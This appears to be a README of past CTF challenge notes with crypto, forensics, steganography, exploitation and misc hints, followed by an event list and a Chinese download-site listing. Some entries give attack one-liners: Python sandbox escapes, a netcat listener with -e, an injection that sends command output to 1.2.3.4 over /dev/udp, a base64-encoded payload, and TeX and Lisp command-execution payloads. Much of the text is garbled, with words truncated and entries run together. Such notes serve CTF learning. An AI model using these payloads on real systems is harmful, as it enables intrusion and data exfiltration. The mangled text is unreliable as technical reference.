RSA is homomorphic to the multiplication and powers so enc((31*a)^7) == pow(enc(31)*enc(a)%n,7,n)
Pallier is homomorphic to the addition and the multiplication so enc(31*a+12*b+56) == (pow(E(a),31,n2)*pow(E(b),12,n2))*E(56)%n**2
and with ElGamal enc(a^7) == [pow(enc(a)[0], 7, q), pow(enc(a)[1], 7, q))]
differential privacy - pwn2win-ctf-2017
differential privacy mechanism Laplace, service is adding laplace noise to each ascii char of the flag
we know that Laplace(0, sensitivity/epsilon) has a 0 so if we a sufficient anonymized records of the flag
the random noise added will be canceled and the original ascii will be obtained
escape from arkham - 3dsctf-2017
sharmir's secret sharing
prudentialv2 - boston-key-party-2017
sha1 collision (only use first 260 bytes of poc pdfs)
<!-- }}} -->
<!-- 2018-2021 {{{ -->
</p></details><details><summary>2018-2020</summary><p>
ssh - angstromctf-2018
partially masked private key, we only have the high bits of q
use coppersmith's attack to find an RSA prime with the high bits known
ofb - angstromctf-2018
we can easily crack the LCG algorithm PNG header
man in the mirror - nuitduhack-quals-2018
write ssh server to accept any authentication, record typed commands and capture client's public key
determine private exponent d using Boneh Durfee attack on RSA
collider - 35c3-ctf-2018
md5 collision with 2 PDFs
drinks - insomnihack-teaser-2019
plaintext compressed before being encrypted -> CRIME/BREACH type attack
real-baby-rsa - tokyo-western-ctf-2019
flag is encrypted character by character without any random padding
create lookup table by encrypting all printable characters to decrypt flag
easyrsa - de1ctf-2020
howgra and seifert's attack
2 rsa keys with same modulus, public & private exponents are big but not vuln to wiener or boneh-durfee attacks
however if each private exponent is smaller than Nx0.357 then it is vuln (e.g. private exponent must be <=731 bits for a 2048-bit N)
easy pisy - defcon-ctf-quals-2018
sha1 collision, submit 2 PDFs with the same sha1 hash to get flag
babycrypto3 - line-ctf-2021
small rsa modulus, load given pub.pem into pycryptodome and factorize n with msieve
</p></details>
<!-- }}} -->
<!-- }}} -->
forensics <!-- {{{ -->
<!-- 2014-2015 {{{ -->
<details><summary>2014-2015</summary><p>windows forensics - nuitduhack-ctf-quals-2014
pagefile.syscurlcore - plaid-ctf-2014
ind SSL master key in coredump and decrypt TLS session with wiresharkzfs - plaid-ctf-2014
encrypted disk, found xor key and used to unxor disk
the golden gate - seccon-ctf-2014
picture of a logical schema (nand gates)
qr - seccon-ctf-2014
half qr code, decoding by hand
config bin - 32c3-ctf-2015
cracking firmware 5-char password fast because we know the plaintext magic 3-byte header
broken heart - asis-quals-ctf-2015
tcpflow or dshell or re-assemble file split in multiple Content-Range responses
of fragments and packets in wrong order
zrypt - asis-quals-ctf-2015
password protected zip (zip 2.0 encryption) you can reco key if
you have any of the zipped files
this attack works only if using standard zip 2.0 encryption it wont work against AES encrypted zips
heath street - boston-key-party-2015
reco file from ext4 filesystem using: extundelete --restore-all
ri - boston-key-party-2015
restore mouse mo from usb pcap
apt incident response - camp-ctf-2015
memory dump + debian +
reco file from memory
puzzleng - hitcon-ctf-quals-2015
png encrypted with xor, key is different every 20 blocks
we can break this because structure of png is predictible
qr code recovery challenge - mma-ctf-2015
qr recovery by hand
png-uncorrupt - plaid-ctf-2015
png chunks with incorrect CRC because some \x0d\x0a were con to \x0a
if length is correct and CRC is incorrect, only fix CRC
if length is incorrect, prepends \x0d in front of every \x0a and CRC should now match
its hungry - poli-ctf-2015
spectrogram using sox blah.flac -n spectrogram
con audio to note sheet
russian doll -
bitlocker encrypted
use Diskinternals EFS recovery to mount given iso as raw disk image
name which contains the password
<!-- }}} -->
<!-- 2016-2020 {{{ -->
</p></details><details><summary>2016-2020</summary><p>
dtune - backdoor-ctf-2016
audio file with sounds of phone dial tones
use to parse DTMF or audacity plugin to find which numbers were pressed
then T9-decode numbers to get flag
upload - bctf-2016
btrfs image
restore the snapshots with btrfs restore -si disk.img blah
list the trees with btrfs restore -l disk.img and extract with btrfs restore -r 278 disk.img blah2
catch me if you can - nullcon-hackim-2016
matryoshka compression doll
uagent - su-ctf-2016
nice use of scapy to extract User-Agent and download file (with parts out of order)blocks - su-ctf-2016
reconstructing a png from sqlite, had to reorder the IDAT chunks
odrrere - asis-quals-ctf-2016
use TweakPNG windows GUI tool to reorder IDAT chunks and easily review the result
memdump - su-ctf-2016
packed PE use DiE to find packer, then OllyDbg to unpack (or use )procrastination - internetwache-ctf-2016
dtmf tones in webm file
mediainfo to see what contains the webm file
avconf to extract second track
multimon-ng to parse DTMF tones ./multimon-ng -t wav -a DTMF msg.wav
invest - nuitduhack-quals-2016
reconstruct key using a picture of a logical schema (xor gates)
one bad son - asis-ctf-2016
convert BSON into JSON to rebuild a png file
good food sources - hitb-ctf-amsterdam-2016
use pynids to easily reassemble fragmented tcp streams from given pcap
corruption - tjctf-2016
png with every chunk length and crc corrupted
flying high - hitb-ctf-singapore-2017
UBIFS
arrdeepee - hitb-ctf-singapore-2017
decrypt RDP over SSL using pkcs12 transmitted over udp, and replay the RDP session
reading between the lines - square-ctf-2017
tampered zip containing 4 files but only decompresses to 3 files because of tampered central directory
help - kaspersky-ctf-2017
gi dump, recover a KeePass database whose Master Key includes a Windows User Account
spoke - insomnihack-ctf-2018
decrypt ipsec in wireshark, build file to recover PSK with psk-crack, setup ipsec tunnel, setup bgp routing
docker manager - bsidestl
use ssh tunnel to query docker daemon socket and the docker API
ssh -N -L 127.0.0.1:9999:/var/run/docker.sock and curl -s
can you bypass the sop - bsidestl
dns rebinding
<!-- }}} -->
<!-- 2021 {{{ -->
</p></details><details><summary>2021</summary><p>
dactyl's tule box - crowdstrike-ctf-2021
mount qcow2 and l, run sudo map --gtk-module /tmp/libexec.so to get root
cant o root authorized_keys via http_proxy and XDG_CACHE_HOME due to sudo's en
egghunt - crowdstrike-ctf-2021
re a bpf implant/backdoor with bpftool
exfiltrator - crowdstrike-ctf-2021
aes-gcm side-channel attack to reco because each ansi-colored/ascii-art char sequence
produces a unique packet length
dump ssl master key with LD_PRELOAD to decrypt traffic in wireshark
injector - crowdstrike-ctf-2021
find backdoor with rkhunter and chkrootkit after mounting raw partition with losetup -P
shellcode injected to the end of the .text section of libc via /proc/maps
disass shellcode with pwntools and decompile to C with ghidra
</p></details>
<!-- }}} -->
<!-- }}} -->
stegano <!-- {{{ -->
<!-- 2014-2016 {{{ -->
<details><summary>2014-2016</summary><p>blocks - asis-ctf-quals-2014
361x361 png image
19x19 image hidden in alpha plane 0 (LSB)
xor 2 images to get flag
tortureous sound - asis-ctf-quals-2014
spectrogram analysis
SSTV
white-noise - asis-ctf-quals-2014
extract RGB of each pixel, G and B are coordinates (scatter-plot) displaying the flag
pixel-princess - ectf-2014
jpg containing a hidden jpg
use steghide to extract tar.gz from main jpg
godmode - nuitduhack-ctf-quals-2014
info hidden in LSB (least significant bit)
rotate 90 degrees clockwise and use stegsolve -> Data extract, tick Red 0, Green 0, Blue 0 and Column, and click Previewthe greatest - nuitduhack-ctf-quals-2014
Extract gif file and get some info with gifsicle --xinfo greg.gif
There is not much possibilities for stegano in GIF as the image is made of refs to the colormap so it could be:
- position of pixels of a gi
- duplicates or alike in the colormap (e.g. #cccccc and #cccbcc) or other tricks
So let's dump the colormap: We can spot two oddities:
- there are quirks in the sorting
- a normal gif file would start with #000000 and end with #FFFFFF, and then #000000 padding
Googling for "gif stegano colourmap" yields the gifshuffle tool. But ./gifshuffle greg.gif outputs binary garbage and -C outputs gibberish as well.
The tool was probably modified to reverse sort the colormap table. Patch gifshuffle, compile & run to get the flag.
puzzle - hitcon-ctf-2014
extract 100 thumbnails from jpg and puzzle them together to see flag
wiretap - ncn-ctf-2014
wav file, diff the 2 channels to extract an image file
find da key - olympic-ctf-2014
can hide bits in base64welcome to forensics - olympic-ctf-2014
php code with lots of non-ascii trash commented out
hint was short_open_tags in php is: <?#
php allows names to be non-ascii so used Xdebug instead of de-obfuscating code
used z3 to sol
illegal radio - olympic-ctf-2014
gnu radio / fm radio transmission
mp3 me - phd-ctf-quals-2014
flag in id3 tag, zlib compressed (not an image)
doge stege - plaid-ctf-2014
png with 8-bit colormap (typical stegano)
find flag by changing palette
cat's eye - ructf-2014-quals
gif with flag difference between frames
the flag awakens - seccon-ctf-2014
extract qr code from frames of a video
a-png-tale - confidence-ctf-teaser-2015
flag hidden in IDAT chunk via a filtershift keying - ghost-in-the-shellcode-2015-teaser
demodulate gnuradio to a jpg
strange - asis-ctf-finals-2015
big png file, uncompress IDAT to find hex strings, convert to binary, draw black pixel if value is 1
qr - backdoor-ctf-2015
convert qr code rendered as terminal lines into an image and use qrcode python import to scan it
poem -
spaces between each line
decompress PDF streams using qpdf --qdf --object-streams=disable poem.pdf out.pdf
we focus on the text-positioning operators that move a text line
a Td text line operator has two operands, the flag was encoded in second operand of each Td (14 is 0 and 17 is 1)
strange text -
strange text file containing some float numbers
0.09.1426,0.57019,
0.09.123,0.722046,
...
0.09.1426 is an x point 0.1426 with key 09 and 0.57019 is the related y point
we can plot each of these points using matplotlib
midi -
parse midi file
you cant see me - breakin-ctf-2016
image 7 by 200 pixels (i.e. a bar), with only black and red pixels (black=0, red=1)
look at these colours - pragyan-ctf-2016
stripe of greyslily.flac - boston-key-party-2016
ELF encoded file in FLAC audio file
sox lily.flac lily.raw (to output headerless (raw) audio)catvideo - bctf-2016
every frame was xored with the first frame
extract frames with ffmpeg -i catvideo.mp4 -r 1/1 output%d.png
diff (xor) first frame with every other frame: for i in {2..66}; do convert output1.png output$i.png -e xor xor$i.png; done (flag shows in every xored png)
diff (xor) frames in pairs: for i in {2..66}; do convert output$((i-1)).png output$i.png -e xor xor$i.png; done (flag shows in only 2)
can also use PIL/ImageChops to easily add/substract/xor 2 frames midifan - bctf-2016
had to convert midi to csv with
xorpainter - 0ctf-2016
big csv file, each row contains 4 numbers, first pair always smaller than second pai -> rectangles
stegano sound - nuitduhack-quals-2016
spectrogram analysis (can notice background noise)
braille alphabet
pcapbleeding - insomnihack-ctf-2016
parse pcap to find private key by trying every prime number that factored the modulus
moleman - nuitduhack-quals-2016
reco flag
magic code - google-ctf-2016
reed-solomon error correction code in alpha pane 0 (crc used by d, qr code)
use reedsolo python lib with Codec 40,8 to decode
matrix - icectf-2016
qr code with each line represented as a number
replace 0s with '#' and 1s with ' ' to get a qr code image
provided = [0x00000000, 0xff71fefe, 0x83480082, 0xbb4140ba, 0xbb6848ba, 0xbb4a80ba, 0x83213082, 0xff5556fe, 0xff5556fe, 0x00582e00, 0x576fb9be, 0x707ef09e, 0xe74b41d6, 0xa82c0f16, 0x27a15690, 0x8c643628, 0xbfcbf976, 0x4cd959aa, 0x2f43d73a, 0x5462300a, 0x57290106, 0xb02ace5a, 0xef53f7fc, 0xef53f7fc, 0x00402e36, 0xff01b6a8, 0x83657e3a, 0xbb3b27fa, 0xbb5eaeac, 0xbb1017a0, 0x8362672c, 0xff02a650, 0x00000000]
for x in provided:
print "{0:032b}".format(x).replace('1', ' ').replace('0', '#')p1ng - asis-ctf-2016
animated png (APNG), unpack all frames
tele - backdoor-ctf-2016
xor image i with image i+1, then xor resulting image with i+2 and so on
lossless - backdoor-ctf-2016
compare original.png encrypted.png diff.png -> images differ only in the top right corne
or use to enhance clarity
49x7 binary matrix, strings with blue=1 and black=0, 7 rows -> 1 ascii char per column
brainfun - csaw-ctf-2016
the alpha are in the printable ascii range
rearrange the pixel by RGB value, using the key red<<8 + green<<4 + blue, produces brainfuck code
use pybrainfuck to decode flag
ninth - mma-ctf-2016
flag is in additional compressed data in each IDAT chunk
</p></details>
<!-- }}} -->
<!-- }}} -->
exploit <!-- {{{ -->
<!-- 2014-2016 {{{ -->
<details><summary>2014-2016</summary><p>python sandbox/jail escapes
print(().__class__.__bases__[0].__subclasses__()40.read()) (pybabbies - csaw-ctf-2014)
{}.__class__.__base__.__subclasses__()40.read() (exploit300 - )
4stone-doraemon - codegate-preliminary-2014
disable aslr with ulimit -s unlimited
gdb trick to find location of tls block (to o location of kernel_)
shellcode in env with shortjumps (\xeb\02) to jump over env var key and equal sign
trampoline to en in libc (no longer randomized)
angrey-doraemon - codegate-preliminary-2014
stack o with canary bypass (leak)
minibomb - codegate-preliminary-2014
rop to call execve
set eax socket (write call returns actual byte count written)
set ebx that sys_read from fd=1 (our socket)
ecx is our argv
gynophage 4 - defcon-ctf-quals-2014
shellcode polyglot (x86, ppc, armel, armeb)
nibble - nuitduhack-ctf-quals-2014
pop + plt o
ezhp - plaid-ctf-2014
heap o
while :;do nc -lnvp 4444 -e ./ezhp;done
socat tcp-listen:4444,fork exec:./ezphremote print - internetwache-ctf-2016
format string
equationsolver - internetwache-ctf-2016
integer o
they used z3 to solve this one
secure file reader - nuitduhack-quals-2016
rop and race condition
quine - icectf-2016
service accepts C code and runs it</p></details>
<!-- }}} -->
<!-- }}} -->
reverse <!-- {{{ -->
<!-- 2014-2016 {{{ -->
<details><summary>2014-2016</summary><p>chrono logical - codegate-preliminary-2014
disable timeout in select with setarch -T
re -
maze solved with btree algo
exploit100 -
password value enumerationbig momma - nuitduhack-ctf-quals-2014
username/password enumeration
ser strcmp return value between our input and the correct usernamefile checker = internetwache-ctf-2016
great use of angr ()
peoples square - 0ctf-2016
attack on aes with 4 rounds instead of 10
matriochka - nuitduhack-quals-2016
boot vm on gparted iso to copy mbr to disk, then remote gdb of vm
</p></details>
<!-- }}} -->
<!-- }}} -->
misc <!-- {{{ -->
<!-- 2014-2021 {{{ -->
<details><summary>2014-2021</summary><p>gunslinger - hacklu-ctf-2014
restricted bash shell (no alpha chars allowed)
bypass with encoding cat in octal: $'\143\141\164'
binary karuta - seccon-ctf-2014
solution by building and training a Nai Classifier
bar codes - internetwache-ctf-2016
dark forest - internetwache-ctf-2016
binary tree
texmaker - internetwache-ctf-2016
web interface creates pdf files using pdfTeX
in TeX we can RCE with operation \immediate\write18{ls}
another way was to just include the flag file, there many ways to do this
hsab - bctf-2016
restricted bash shell with no binaries but with ctypes.sh of Taviso (builtins=([0]="callback" [1]="dlcall" etc. in set's output)
solution alternati -r /home/ctf/flag.ray; history
(pow in C)smartcat3 - insomnihack-ctf-2016
rce but can't do spaces or some specials
<(ls>/dev/udp/1.2.3.4/53)
<({base64,-d,KGI7IHNsZWFnISIpIHwgL3JlYWRfZmxhZyBmbGFn}>/tmp/t.sh
<({bash,/tmp/t.sh}>/dev/udp/1.2.3.4/53)
(read_flag in python)amazing -
maze btree
yacst2 -
sol captcha with google speach recognition
unblink - sctf-2016
decode msg from LEDs
misc robots - insomnihack-ctf-2016
lisp program, rce by submitting: #.(run-shell-command "ls")
smartips - insomnihack-ctf-2016
simple shell command injection but ser RST, ACK which we need to drop to be able to continue communication
iptables -A INPUT -p TCP --tcp-flags ALL RST,ACK -s 10.13.39.30 -j DROP
hack
lots of qr codes
regexpire - csaw-ctf-2016
sol
yaar haar fiddle dee dee - csaw-ctf-2016
opencv haar cascade
smartips - insomnihack-ctf-2016
ser communication e sending us RST ACK so drop them with
iptables -A INPUT -p TCP --tcp-flags ALL RST,ACK -s 10.13.39.30 -j DROP
jareCaptcha - sharif-ctf-2016
sudoku solver and captcha bypass (reuse same captcha cookie id)
oldpersian - su-ctf-2016
break captcha
solving compare 100% success and super simpleold schoold - kaspersky-ctf-2017
NES game, use FCEUX emulator to debug and patch
weird message - angstromctf-2018
encoded in punycode (xn--), write loop to decode and replace unicode characters
bashell - alles-ctf-2020
bash commands with only []$<\_`</p></details>
<!-- }}} -->
<!-- }}} -->
* [x] pico-ctf-2013
* [x] boston-key-party-2014
* [x] codegate-preliminary-2014
* [x] confidence-ctf-teaser-2014
* [x] d-ctf-2014
* [x] asis-ctf-quals-2014
* [x] 9447-ctf-2014
* [x] 31c3-ctf-2014
* [x] defcon-ctf-quals-2014
* [x] ectf-2014
* [x] ghost-in-the-shellcode-2014
* [x] hacklu-ctf-2014
* [x] hackyou-2014
* [x] hitcon-ctf-2014
* [x] ncn-ctf-2014
* [x] ncn-ctf-quals-2014
* [x] olympic-ctf-2014
* [x] phdays-2014-{quals,finals}
* [x] pwnium-ctf-2014
* [x] qiwi-ctf-2014
* [x] ructf-2014-quals
* [x] seccon-ctf-2014
* [x] secuinside-ctf-quals-2014
* [x] 0ctf-2015
* [x] 32c3-ctf-2015 itd pas compris
* [x] 9447-ctf-2015 ffmpeg 0day
* [x] asis-finals-ctf-2015
* [x] asis-quals-ctf-2015
* [x] backdoor-ctf-2015 ja and clojure sandbox escapes
* [x] bctf-2015
* [x] boston-key-party-2015
* [x] breakin-ctf-2015
* [x] bsides-
* [x] camp-ctf-2015
* [x] codegate-ctf-2015
* [x] confidence-ctf-teaser-2015
* [x] csaw-ctf-2015
* [x] csaw-finals-ctf-2015
* [x] cyber-security-challenge-2015
* [x] dctf-2015
* [x] defcon-quals-2015 todo
* [x] easy-ctf-2015 do the exploits
* [x] ekoparty-ctf-2015
* [x] ekoparty-pre-ctf-2015
* [x] ghost-in-the-shellcode-2015
* [x] hack-dat-kiwi-ctf-2015
* [x] hacklu-ctf-2015
* [x] hackcon-2015
* [x] hacko
* [x] haxdump-ctf-2015
* [x] hitcon-ctf-quals-2015
* [x] icectf-2015
* [x] insomnihack-2015 no writeups but sources at
* [x] mma-ctf-2015
* [x] nuitduhack-ctf-quals-2015
* [x] nullcom-hackim-2015
* [x] opentoall-ctf-2015
* [x] plaid-ctf-2015
* [x] poli-ctf-2015
* [x] pragyan-ctf-2015
* [x] rctf-quals-2015 no writeups
* [x] ructfe-ad-2015 no writeups
* [x] sctf-2015
* [x] school-ctf-2015 no eng writeups
* [x] school-ctf-winter-2015
* [x] seccon-quals-ctf-2015
* [x] securinets-ctf-2015 many missing writeups
* [x] stem-ctf-2015
* [x] th3jackers-ctf-2015
* [x] thailand-ctf-2015 no writeups
* [x] trend-micro-ctf-2015
* [x]
* [x] 0ctf-2016
* [x] alictf-2016
* [x] angstromctf-2016
* [x] asis-ctf-2016
* [x] asis-ctf-quals-2016
* [x] backdoor-ctf-2016
* [x] bctf-2016
* [x] bioterra-ctf-2016
* [x] blaze-ctf-2016
* [x] boston-key-party-2016
* [x] breakin-ctf-2016
* [x] codegate-ctf-2016
* [x] csaw-ctf-2016
* [x] ctfx-2016
* [x] cyber-security-challenge-belgium-2016
* [x] def-con-ctf-quals-2016 skipped
* [x] defcamp-2016
* [x] ectf-2016
* [x] ekoparty-ctf-2016
* [x] google-ctf-2016
* [x] h4ckit-ctf-2016
* [x] hack-the-
* [x] hack.lu-ctf-2016
* [x] hacko
* [x] hitb-ctf-amsterdam-2016
* [x] hitcon-ctf-quals-2016
* [x] icectf-2016
* [x] insomnihack-ctf-2016
* [x] insomnihack-teaser-2016
* [x] mma-ctf-2nd-2016
* [x] nuitduhack-quals-2016
* [x] nullcon-hackim-2016
* [x] open-ctf-2016
* [x] pentest-cyprus-2
* [x] plaid-ctf-2016
* [x] pwn2win-ctf-2016
* [x] sctf-2016-q1
* [x] seccon-ctf-quals-2016
* [x] secuinside-ctf-quals-2016
* [x] securinets-ctf-quals-2016
* [x] security-fest-2016
* [x] sharif-ctf-2016
* [x] ssctf-2016
* [x] su-ctf-2016
* [x] teaser-confidence-ctf-2016
* [x] tjctf-2016
* [x] tu-ctf-2016
* [x] tum-ctf-2016
* [x] insomnihack-teaser-2017
* [x] breakin-ctf-2017
* [x] alexctf-2017
* [x] bitsctf-2017
* [x] nullcon-hackim-2017
* [x] bsides-sanfransisco-ctf-2017
* [x] boston-key-party-2017
* [x] 0ctf-2017
* [x]
* [x] insomnihack-ctf-2017
* [x] pico-ctf-2017
* [x] nuitduhack-quals-2017
* [x] asis-ctf-quals-2017
* [x] plaidctf-2017
* [x] uiuctf-2017
* [x] rctf-2017
* [x] sctf-2017
* [x] google-ctf-2017
* [x] secuinside-ctf-quals-2017
* [x] poli-ctf-2017
* [x] meepwn-ctf-2017
* [x] ctfzone-2017
* [x] asis-ctf-2017
* [x] sect-ctf-2017
* [x] csaw-ctf-2017
* [x] ekoparty-ctf-2017
* [x] backdoor-ctf-2017
* [x] defcamp-2017
* [x] hack.lu-ctf-2017
* [x] pwn2win-ctf-2017
* [x] kaspersky-ctf-2017
* [x] hitcon-ctf-quals-2017
* [x] codeblue-ctf-2017
* [x] tu-ctf-2017
* [x] seccon-ctf-2017
* [x] 3dsctf-2017
* [x] 34c3-ctf-2017
* [x] 2018 weight >= 25
* [x] 2019 weight >= 25
* [x] 2020 weight > 25
</p></details>
<!-- }}} -->
* orangetw
* ppp
* smokeleet
* bo1lers
* CaptureTheSwag
* InternetWache
* Tasteless
* LC!BC More Smoked Leet Chicken (leetmore.ctf.su + smokedchicken.org) (now merged with BalalaikaCr3w as LC!BC)
* BalalaikaCr3w
* Fourchette Bombe
* khack40
* Raccoons
* Eat Sleep Pwn Repeat
* kt (ex SpamAndHex! captain)
* The Flat Network Society
* Bug Bounty Writeups
* DerbyCon CTF )
* justCatTheFish/terjanq
* jorge_ctf
*
*
* bsidescbr
* shakti superfund
*
*
*
*
*
<!-- }}} -->
<!-- vim: ts=4 sw=4 sts=4 et fdm=marker bg=dark
开发语言:Python
Star 数:107
该项目属于CTF思路方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕notes and code on past CTFs展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | ctfs - 过去CTF的备注和代码 |
| 所属分类 | CTF思路 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 23:54:26 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 197 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |